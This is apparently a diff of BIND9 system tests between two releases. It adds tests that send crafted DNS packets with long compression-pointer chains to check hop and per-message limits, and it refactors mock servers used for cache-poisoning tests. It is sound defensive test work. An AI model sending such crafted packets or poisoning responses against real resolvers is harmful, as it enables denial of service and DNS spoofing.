Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/formerr/tests_formerr.py bind9-9.20.30/bin/tests/system/formerr/tests_formerr.py --- bind9-9.20.29/bin/tests/system/formerr/tests_formerr.py 2026-09-11 19:41:01.209323997 +0000 +++ bind9-9.20.30/bin/tests/system/formerr/tests_formerr.py 2026-10-12 13:12:08.107893497 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,6 +14,7 @@ import socket import dns.flags +import dns.message import dns.name import dns.opcode import dns.rcode @@ -514,3 +515,87 @@ ) -> None: response_wire = query_raw_tcp(ns1.ip, named_port, query_wire) assert response_wire == expected_wire + + +# lib/dns/include/dns/name.h +DNS_NAME_MAXHOPS = 128 + +# A chain lives in the RDATA of the first additional record, which starts +# after the header, the question, and that record's own 11 byte preamble. +# It ends at the root label of the QNAME. +CHAIN_BASE = 12 + 5 + 11 +CHAIN_TERMINUS = 12 + +# Each node of the chain is a one octet label followed by a pointer. +CHAIN_STRIDE = 4 + + +def ptr(offset: int) -> bytes: + return u16(0xC000 | offset) + + +def ptr_chain(follows: int) -> bytes: + """ + A chain of compression pointers, each aimed at the node before it. + + Every node spends a label before its pointer, the way a conforming + encoder's output does, so the name gains a label per hop. A name that + is a single pointer to the last node follows exactly `follows` pointers + before it reaches the root label. A pointer that lands straight on + another pointer is a different case, bounded separately by + DNS_NAME_MAXINDIRECTS, and is not what this builds. + """ + return wire( + *( + wire( + b"\x01a", + ptr( + CHAIN_TERMINUS + if node == 0 + else CHAIN_BASE + CHAIN_STRIDE * (node - 1) + ), + ) + for node in range(follows - 1) + ) + ) + + +def chain_query(follows: int, names: int = 1) -> bytes: + """ + A query whose additional records aim `names` owners at one chain. + """ + head = ptr(CHAIN_BASE + CHAIN_STRIDE * (follows - 2)) + return wire( + header(qdcount=1, arcount=1 + names), + question(root()), + rr(root(), 65280, dns.rdataclass.RdataClass.IN, rdata=ptr_chain(follows)), + *(rr(head, 65281, dns.rdataclass.RdataClass.IN) for _ in range(names)), + ) + + +def test_compression_pointer_hop_limit(named_port: int, ns1) -> None: + """ + A single name may only be assembled out of so many pointers. + + The accepted case is not merely legal, it is the shape our own encoder + produces for a maximally nested name: DNS_NAME_MAXHOPS hops build a + 255 octet, 128 label name, so the limit has to sit above it. One hop + further and the name has already overrun its length limit, which is + why the two limits meet rather than overlap. + """ + accepted = query_raw_tcp(ns1.ip, named_port, chain_query(DNS_NAME_MAXHOPS)) + assert dns.message.from_wire(accepted).rcode() != dns.rcode.FORMERR + + refused = query_raw_tcp(ns1.ip, named_port, chain_query(DNS_NAME_MAXHOPS + 1)) + assert refused == wire(formerr_response_header(qdcount=1), question(root())) + + +def test_compression_pointer_message_budget(named_port: int, ns1) -> None: + """ + Nor may a message aim unboundedly many such names at one chain. + + Every name here stays inside the per-name limit, so only the budget + shared by the whole message can refuse this. + """ + refused = query_raw_tcp(ns1.ip, named_port, chain_query(DNS_NAME_MAXHOPS, names=64)) + assert refused == wire(formerr_response_header(qdcount=1), question(root())) diff -Nru bind9-9.20.29/bin/tests/system/forward/ans11/ans.py bind9-9.20.30/bin/tests/system/forward/ans11/ans.py --- bind9-9.20.29/bin/tests/system/forward/ans11/ans.py 2026-09-11 19:41:01.211324046 +0000 +++ bind9-9.20.30/bin/tests/system/forward/ans11/ans.py 2026-10-12 13:12:08.108893518 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -18,24 +16,24 @@ from isctest.asyncserver import ( ControllableAsyncDnsServer, - DnsResponseSend, - DomainHandler, QueryContext, - ResponseAction, - ToggleResponsesCommand, + ResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.commands import ToggleResponsesCommand +from isctest.asyncserver.matchers import Domain -class ExtraAnswersHandler(DomainHandler): +class ExtraAnswersHandler(ResponseHandler): """ Answer from zone data, inserting extra RRsets into responses to A queries. """ - domains = ["attackSecureDomain.net3."] + matcher = Domain("attackSecureDomain.net3.") async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: if qctx.qtype == dns.rdatatype.A: ns_rrset = dns.rrset.from_text( "net3.", 300, qctx.qclass, dns.rdatatype.NS, "local.net3." diff -Nru bind9-9.20.29/bin/tests/system/forward/ans11/attackSecureDomain.net3.db bind9-9.20.30/bin/tests/system/forward/ans11/attackSecureDomain.net3.db --- bind9-9.20.29/bin/tests/system/forward/ans11/attackSecureDomain.net3.db 2026-09-11 19:41:01.211324046 +0000 +++ bind9-9.20.30/bin/tests/system/forward/ans11/attackSecureDomain.net3.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$TTL 86400 -@ SOA . . 0 0 0 0 0 -@ NS . -@ A 10.53.0.11 diff -Nru bind9-9.20.29/bin/tests/system/forward/ans11/zones/attackSecureDomain.net3.db bind9-9.20.30/bin/tests/system/forward/ans11/zones/attackSecureDomain.net3.db --- bind9-9.20.29/bin/tests/system/forward/ans11/zones/attackSecureDomain.net3.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/forward/ans11/zones/attackSecureDomain.net3.db 2026-10-12 13:12:08.108893518 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 86400 +@ SOA . . 0 0 0 0 0 +@ NS . +@ A 10.53.0.11 diff -Nru bind9-9.20.29/bin/tests/system/forward/ans6/ans.py bind9-9.20.30/bin/tests/system/forward/ans6/ans.py --- bind9-9.20.29/bin/tests/system/forward/ans6/ans.py 2026-09-11 19:41:01.211324046 +0000 +++ bind9-9.20.30/bin/tests/system/forward/ans6/ans.py 2026-10-12 13:12:08.109893540 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -21,14 +19,13 @@ from isctest.asyncserver import ( ControllableAsyncDnsServer, - DnsResponseSend, - DomainHandler, - QnameQtypeHandler, QueryContext, ResponseHandler, - StaticResponseHandler, - ToggleResponsesCommand, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.commands import ToggleResponsesCommand +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Domain, Qname, Qtype SLD = "sld.tld." NS1 = f"ns1.{SLD}" @@ -56,21 +53,19 @@ return rrset(owner, dns.rdatatype.SOA, ". . 0 0 0 0 0") -class Ns1AHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = [NS1] - qtypes = [dns.rdatatype.A] +class Ns1AHandler(StaticResponseHandler): + matcher = Qname(NS1) & Qtype(dns.rdatatype.A) answer = [a(NS1)] edns = None -class Ns1AaaaHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = [NS1] - qtypes = [dns.rdatatype.AAAA] +class Ns1AaaaHandler(StaticResponseHandler): + matcher = Qname(NS1) & Qtype(dns.rdatatype.AAAA) answer = [aaaa(NS1)] edns = None -class SldDelegationHandler(DomainHandler): +class SldDelegationHandler(ResponseHandler): """ Delegate every NS query at or below sld.tld. to ns1.sld.tld., copying the owner name from the QNAME. Together with Ns1AHandler / Ns1AaaaHandler @@ -78,10 +73,7 @@ negative catch-all), this drives named's DS-chasing logic. """ - domains = [SLD] - - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.NS and super().match(qctx) + matcher = Domain(SLD) & Qtype(dns.rdatatype.NS) async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/forward/tests_sh_forward.py bind9-9.20.30/bin/tests/system/forward/tests_sh_forward.py --- bind9-9.20.29/bin/tests/system/forward/tests_sh_forward.py 2026-09-11 19:41:01.215324142 +0000 +++ bind9-9.20.30/bin/tests/system/forward/tests_sh_forward.py 2026-10-12 13:12:08.114893647 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -15,7 +15,6 @@ [ "dig.out.*", "statschannel.out.*", - "ans*/ans.run", "ns*/trusted.conf", "ns1/K*", "ns1/dsset-*", diff -Nru bind9-9.20.29/bin/tests/system/fromhex.pl bind9-9.20.30/bin/tests/system/fromhex.pl --- bind9-9.20.29/bin/tests/system/fromhex.pl 2026-09-11 19:41:01.215324142 +0000 +++ bind9-9.20.30/bin/tests/system/fromhex.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,47 +0,0 @@ -#!/usr/bin/perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -# Converts hex ascii into raw data. -# (This can be used, for example, to construct input for "wire_data -d".) - -require 5.006.001; - -use strict; -use IO::File; - -sub usage { - print ("Usage: packet.pl [file]\n"); - exit 1; -} - -my $file = "STDIN"; -if (@ARGV >= 1) { - my $filename = shift @ARGV; - open FH, "<$filename" or die "$filename: $!"; - $file = "FH"; -} - -my $input = ""; -while (defined(my $line = <$file>) ) { - chomp $line; - $line =~ s/#.*$//; - $input .= $line; -} - -$input =~ s/\s+//g; -my $data = pack("H*", $input); -my $len = length $data; - -binmode(STDOUT); -print($data); -exit(0); diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans1/ans.py bind9-9.20.30/bin/tests/system/fwdfirst/ans1/ans.py --- bind9-9.20.29/bin/tests/system/fwdfirst/ans1/ans.py 2026-09-11 19:41:01.215324142 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans1/ans.py 2026-10-12 13:12:08.114893647 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from isctest.asyncserver import AsyncDnsServer diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans1/hack.db bind9-9.20.30/bin/tests/system/fwdfirst/ans1/hack.db --- bind9-9.20.29/bin/tests/system/fwdfirst/ans1/hack.db 2026-09-11 19:41:01.216324166 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans1/hack.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,7 +0,0 @@ -$TTL 300 -@ SOA ns.hack. . 0 0 0 0 300 -@ NS ns -ns A 10.53.0.1 - -sibling NS ns.sibling -ns.sibling A 10.53.0.1 diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans1/root.db bind9-9.20.30/bin/tests/system/fwdfirst/ans1/root.db --- bind9-9.20.29/bin/tests/system/fwdfirst/ans1/root.db 2026-09-11 19:41:01.216324166 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans1/root.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,8 +0,0 @@ -$ORIGIN . -$TTL 300 -@ SOA a.root-servers.nil. . 0 0 0 0 300 -@ NS a.root-servers.nil. -a.root-servers.nil. A 10.53.0.1 - -hack. NS ns.hack. -ns.hack. A 10.53.0.1 diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans1/sibling.hack.db bind9-9.20.30/bin/tests/system/fwdfirst/ans1/sibling.hack.db --- bind9-9.20.29/bin/tests/system/fwdfirst/ans1/sibling.hack.db 2026-09-11 19:41:01.216324166 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans1/sibling.hack.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,5 +0,0 @@ -$TTL 300 -@ SOA ns.sibling.hack. . 0 0 0 0 300 -@ NS ns -ns A 10.53.0.1 -victim A 203.0.113.42 diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans1/zones/hack.db bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/hack.db --- bind9-9.20.29/bin/tests/system/fwdfirst/ans1/zones/hack.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/hack.db 2026-10-12 13:12:08.114893647 +0000 @@ -0,0 +1,7 @@ +$TTL 300 +@ SOA ns.hack. . 0 0 0 0 300 +@ NS ns +ns A 10.53.0.1 + +sibling NS ns.sibling +ns.sibling A 10.53.0.1 diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans1/zones/root.db bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/root.db --- bind9-9.20.29/bin/tests/system/fwdfirst/ans1/zones/root.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/root.db 2026-10-12 13:12:08.114893647 +0000 @@ -0,0 +1,8 @@ +$ORIGIN . +$TTL 300 +@ SOA a.root-servers.nil. . 0 0 0 0 300 +@ NS a.root-servers.nil. +a.root-servers.nil. A 10.53.0.1 + +hack. NS ns.hack. +ns.hack. A 10.53.0.1 diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans1/zones/sibling.hack.db bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/sibling.hack.db --- bind9-9.20.29/bin/tests/system/fwdfirst/ans1/zones/sibling.hack.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans1/zones/sibling.hack.db 2026-10-12 13:12:08.114893647 +0000 @@ -0,0 +1,5 @@ +$TTL 300 +@ SOA ns.sibling.hack. . 0 0 0 0 300 +@ NS ns +ns A 10.53.0.1 +victim A 203.0.113.42 diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans2/ans.py bind9-9.20.30/bin/tests/system/fwdfirst/ans2/ans.py --- bind9-9.20.29/bin/tests/system/fwdfirst/ans2/ans.py 2026-09-11 19:41:01.216324166 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans2/ans.py 2026-10-12 13:12:08.114893647 +0000 @@ -1,26 +1,26 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode import dns.rdataclass import dns.rdatatype import dns.rrset -from isctest.asyncserver import AsyncDnsServer, DomainHandler, StaticResponseHandler +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Domain -class PoisonReferralForwarder(DomainHandler, StaticResponseHandler): - domains = ["fwd.hack."] +class PoisonReferralForwarder(StaticResponseHandler): + matcher = Domain("fwd.hack.") authority = [ dns.rrset.from_text( "hack.", 300, dns.rdataclass.IN, dns.rdatatype.NS, "ns.fwd.hack." diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/ans3/ans.py bind9-9.20.30/bin/tests/system/fwdfirst/ans3/ans.py --- bind9-9.20.29/bin/tests/system/fwdfirst/ans3/ans.py 2026-09-11 19:41:01.216324166 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/ans3/ans.py 2026-10-12 13:12:08.114893647 +0000 @@ -1,22 +1,22 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode import dns.rdataclass import dns.rdatatype import dns.rrset -from isctest.asyncserver import AsyncDnsServer, QnameQtypeHandler, StaticResponseHandler +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Qname, Qtype VICTIM = "victim.sibling.hack." POISON_ADDRESS = "6.6.6.6" @@ -28,9 +28,8 @@ ) -class PoisonedAHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = [VICTIM] - qtypes = [dns.rdatatype.A] +class PoisonedAHandler(StaticResponseHandler): + matcher = Qname(VICTIM) & Qtype(dns.rdatatype.A) answer = [a(VICTIM)] diff -Nru bind9-9.20.29/bin/tests/system/fwdfirst/tests_fwdfirst.py bind9-9.20.30/bin/tests/system/fwdfirst/tests_fwdfirst.py --- bind9-9.20.29/bin/tests/system/fwdfirst/tests_fwdfirst.py 2026-09-11 19:41:01.216324166 +0000 +++ bind9-9.20.30/bin/tests/system/fwdfirst/tests_fwdfirst.py 2026-10-12 13:12:08.115893668 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/genzone.sh bind9-9.20.30/bin/tests/system/genzone.sh --- bind9-9.20.29/bin/tests/system/genzone.sh 2026-09-11 19:41:01.216324166 +0000 +++ bind9-9.20.30/bin/tests/system/genzone.sh 2026-10-12 13:12:08.115893668 +0000 @@ -466,7 +466,7 @@ ; type 256 uri01 URI 10 20 "https://www.isc.org/" uri02 URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" -uri03 URI 30 40 "" +uri03 URI 30 40 " " ; type 257 caa01 CAA 0 issue "ca.example.net; policy=ev" diff -Nru bind9-9.20.29/bin/tests/system/geoip2/tests_sh_geoip2.py bind9-9.20.30/bin/tests/system/geoip2/tests_sh_geoip2.py --- bind9-9.20.29/bin/tests/system/geoip2/tests_sh_geoip2.py 2026-09-11 19:41:01.220324263 +0000 +++ bind9-9.20.30/bin/tests/system/geoip2/tests_sh_geoip2.py 2026-10-12 13:12:08.118893732 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/glue/tests_glue.py bind9-9.20.30/bin/tests/system/glue/tests_glue.py --- bind9-9.20.29/bin/tests/system/glue/tests_glue.py 2026-09-11 19:41:01.220324263 +0000 +++ bind9-9.20.30/bin/tests/system/glue/tests_glue.py 2026-10-12 13:12:08.119893754 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import dns.edns import dns.flags import dns.message @@ -28,7 +27,9 @@ def test_glue_full_glue_set(): - """test that a ccTLD referral gets a full glue set from the root zone""" + """ + test that a ccTLD referral gets a full glue set from the root zone + """ msg = isctest.query.create("foo.bar.fi", "A") msg.flags &= ~dns.flags.RD res = isctest.query.udp(msg, "10.53.0.1") @@ -59,7 +60,9 @@ def test_glue_no_glue_set(): - """test that out-of-zone glue is not found""" + """ + test that out-of-zone glue is not found + """ msg = isctest.query.create("example.net.", "A") msg.flags &= ~dns.flags.RD res = isctest.query.udp(msg, "10.53.0.1") diff -Nru bind9-9.20.29/bin/tests/system/hooks/tests_async_plugin.py bind9-9.20.30/bin/tests/system/hooks/tests_async_plugin.py --- bind9-9.20.29/bin/tests/system/hooks/tests_async_plugin.py 2026-09-11 19:41:01.221324287 +0000 +++ bind9-9.20.30/bin/tests/system/hooks/tests_async_plugin.py 2026-10-12 13:12:08.119893754 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/host/tests_sh_host.py bind9-9.20.30/bin/tests/system/host/tests_sh_host.py --- bind9-9.20.29/bin/tests/system/host/tests_sh_host.py 2026-09-11 19:41:01.221324287 +0000 +++ bind9-9.20.30/bin/tests/system/host/tests_sh_host.py 2026-10-12 13:12:08.120893775 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/idna/tests_sh_idna.py bind9-9.20.30/bin/tests/system/idna/tests_sh_idna.py --- bind9-9.20.29/bin/tests/system/idna/tests_sh_idna.py 2026-09-11 19:41:01.222324311 +0000 +++ bind9-9.20.30/bin/tests/system/idna/tests_sh_idna.py 2026-10-12 13:12:08.120893775 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/ifconfig.sh.in bind9-9.20.30/bin/tests/system/ifconfig.sh.in --- bind9-9.20.29/bin/tests/system/ifconfig.sh.in 2026-09-11 19:41:01.222324311 +0000 +++ bind9-9.20.30/bin/tests/system/ifconfig.sh.in 2026-10-12 13:12:08.120893775 +0000 @@ -28,7 +28,7 @@ # interface MTU. # # See also org.isc.bind.system (a version of this script for use on macOS) -# and testsock.pl (which checks the interfaces are configured) +# and isctest/tools/testsock.py (which checks the interfaces are configured) # top_srcdir=@abs_top_srcdir@ @@ -237,7 +237,7 @@ # # See also `org.isc.bind.system`. # -# This `max` setting is grepped out for use by testsock.pl +# This `max` setting is read by isctest/tools/testsock.py # max=11 case $1 in diff -Nru bind9-9.20.29/bin/tests/system/include_multiplecfg/tests_include_multiplecfg.py bind9-9.20.30/bin/tests/system/include_multiplecfg/tests_include_multiplecfg.py --- bind9-9.20.29/bin/tests/system/include_multiplecfg/tests_include_multiplecfg.py 2026-09-11 19:41:01.223324335 +0000 +++ bind9-9.20.30/bin/tests/system/include_multiplecfg/tests_include_multiplecfg.py 2026-10-12 13:12:08.121893796 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -35,5 +35,7 @@ def test_include_multiplecfg_checkconf(): - """Test that named-checkconf correctly parses glob includes""" + """ + Test that named-checkconf correctly parses glob includes + """ isctest.run.cmd([os.environ["CHECKCONF"], "named.conf"], cwd="ns2") diff -Nru bind9-9.20.29/bin/tests/system/inline/tests.sh bind9-9.20.30/bin/tests/system/inline/tests.sh --- bind9-9.20.29/bin/tests/system/inline/tests.sh 2026-09-11 19:41:01.227324432 +0000 +++ bind9-9.20.30/bin/tests/system/inline/tests.sh 2026-10-12 13:12:08.124893861 +0000 @@ -1008,7 +1008,8 @@ echo_i "testing updating inline secure serial via 'rndc signing -serial' ($n)" ret=0 $DIG $DIGOPTS nsec3. SOA @10.53.0.3 >dig.out.n3.pre.test$n || ret=1 -newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' /dev/null 2>&1 || ret=1 retry_quiet 5 wait_for_serial 10.53.0.3 nsec3. "${newserial:-0}" dig.out.ns3.post.test$n || ret=1 if [ $ret != 0 ]; then echo_i "failed"; fi @@ -1019,7 +1020,7 @@ ret=0 $DIG $DIGOPTS nsec3. SOA @10.53.0.3 >dig.out.n3.pre.test$n || ret=1 oldserial=$(awk '$4 == "SOA" { print $7 }' dig.out.n3.pre.test$n) -newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] - 10) if ($field[3] eq "SOA"); }' /dev/null 2>&1 || ret=1 sleep 1 $DIG $DIGOPTS nsec3. SOA @10.53.0.3 >dig.out.ns3.post.test$n || ret=1 @@ -1036,7 +1037,7 @@ ret=0 $DIG $DIGOPTS nsec3. SOA @10.53.0.3 >dig.out.n3.pre.test$n || ret=1 oldserial=$(awk '$4 == "SOA" { print $7 }' dig.out.n3.pre.test$n) -newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' /dev/null 2>&1 || ret=1 $RNDCCMD 10.53.0.3 signing -serial ${newserial:-0} nsec3 >/dev/null 2>&1 || ret=1 $RNDCCMD 10.53.0.3 thaw nsec3 >/dev/null 2>&1 || ret=1 @@ -1048,7 +1049,8 @@ echo_i "testing updating dynamic serial via 'rndc signing -serial' ($n)" ret=0 $DIG $DIGOPTS bits. SOA @10.53.0.2 >dig.out.ns2.pre.test$n || ret=1 -newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if 